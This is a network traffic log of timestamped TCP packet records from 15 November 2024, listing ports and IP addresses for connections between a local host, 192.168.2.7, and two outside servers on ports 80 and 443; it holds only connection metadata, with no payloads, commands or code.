Nov 15, 2024 13:18:29.025680065 CET	49762	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.025692940 CET	443	49762	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.026583910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.053914070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.053925037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.053942919 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.053951979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.053999901 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.054017067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.054095984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.054105043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.054121017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.054130077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.054131985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.054131985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.054131985 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.054169893 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.055507898 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.060646057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.060664892 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.060693979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.060707092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.060764074 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.060772896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.060803890 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.060822010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.060838938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.061783075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.061955929 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.061985970 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.062002897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.062083960 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.062139034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.062160015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.062237024 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.064585924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.101142883 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.101730108 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.101797104 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.102293015 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.102303028 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.104886055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.104911089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.104932070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105063915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.105679989 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105720043 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105736017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105791092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105803967 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.105808020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105842113 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.105931044 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.105969906 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.105988979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106019020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106025934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106057882 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106086016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.106405973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106422901 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106446981 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106457949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.106462955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106478930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106497049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106515884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.106533051 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106548071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106566906 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.106590033 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.106590986 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106607914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.106699944 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.107309103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.107394934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.107412100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.107429028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.107430935 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.107464075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.151583910 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.177283049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177315950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177331924 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177346945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177371025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177386045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177395105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177422047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177423000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.177423000 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.177438021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177453995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.177459955 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.177469015 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.177560091 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.183887005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.183918953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.183933973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.183953047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.183976889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.183983088 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.183993101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.184007883 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.184057951 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.185159922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.185177088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.185193062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.185237885 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.185249090 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.185264111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.185277939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.185307026 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.185317993 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.227993965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.228014946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.228029966 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.228863001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.228908062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.228923082 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.228920937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.228986025 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.228991985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229007959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229023933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229028940 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.229095936 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.229161978 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229195118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229212999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229231119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.229280949 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.229372025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229422092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229437113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229496002 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229512930 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229532957 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.229639053 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.229850054 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.229895115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229911089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.229927063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230020046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230035067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230050087 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230057955 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.230072975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230076075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.230087042 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230099916 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230129957 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.230191946 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.230225086 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.230508089 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.230508089 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.230674982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230675936 CET	49759	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.230709076 CET	443	49759	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.230726004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230739117 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.230879068 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.233979940 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.234008074 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.234188080 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.234338999 CET	49763	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.234347105 CET	443	49763	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.254587889 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.255758047 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.255789042 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.256071091 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.256083012 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.271492958 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.271565914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.271605015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.271603107 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.271795988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.300405025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300442934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300462008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300488949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300506115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300539017 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.300602913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300618887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300636053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300663948 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.300683975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300700903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.300712109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.301035881 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.307091951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.307138920 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.307154894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.307243109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.307259083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.307274103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.307277918 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.307344913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.307344913 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.308325052 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.308340073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.308358908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.308413982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.308439016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.308468103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.308479071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.308484077 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.308864117 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.351423025 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.351475000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.351514101 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.351563931 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352016926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352116108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352149963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352157116 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352188110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352219105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352231979 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352305889 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352344036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352372885 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352416992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352453947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352488995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352493048 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352534056 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352560997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352618933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352655888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352691889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352715015 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352744102 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.352854967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352915049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352962017 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.352997065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353002071 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.353039980 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.353200912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353256941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353293896 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.353315115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353331089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353365898 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353369951 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.353442907 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.353677034 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353717089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353771925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353806019 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353842974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.353853941 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.353854895 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.368947029 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.380908012 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.381025076 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.381131887 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.381525993 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.381526947 CET	49757	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.381587982 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.381620884 CET	443	49757	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.384711027 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.384757996 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.385405064 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.385540962 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:29.385550022 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:29.394629002 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.394670963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.394700050 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.394707918 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.394773006 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.423556089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423598051 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423614979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423643112 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423659086 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.423679113 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423696995 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423706055 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.423712969 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423856020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.423974037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.423990965 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.424006939 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.424034119 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.424045086 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.424060106 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.424069881 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.424360037 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.430162907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430182934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430202961 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430274010 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430304050 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430310011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.430320024 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430336952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.430366039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.430406094 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.431346893 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431411028 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431425095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431441069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431469917 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.431529045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431545973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431561947 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.431562901 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.431591988 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.431756020 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.453114986 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.474468946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.474493980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.474513054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.474570990 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475097895 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475127935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475143909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475172997 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475205898 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475251913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475267887 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475282907 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475318909 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475378036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475425005 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475440979 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475456953 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475500107 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475584030 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475651026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475666046 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475682020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475707054 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475739956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:29.475912094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.475986004 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:29.476087093 CET	49734	80	192.168.2.7	185.215.113.16
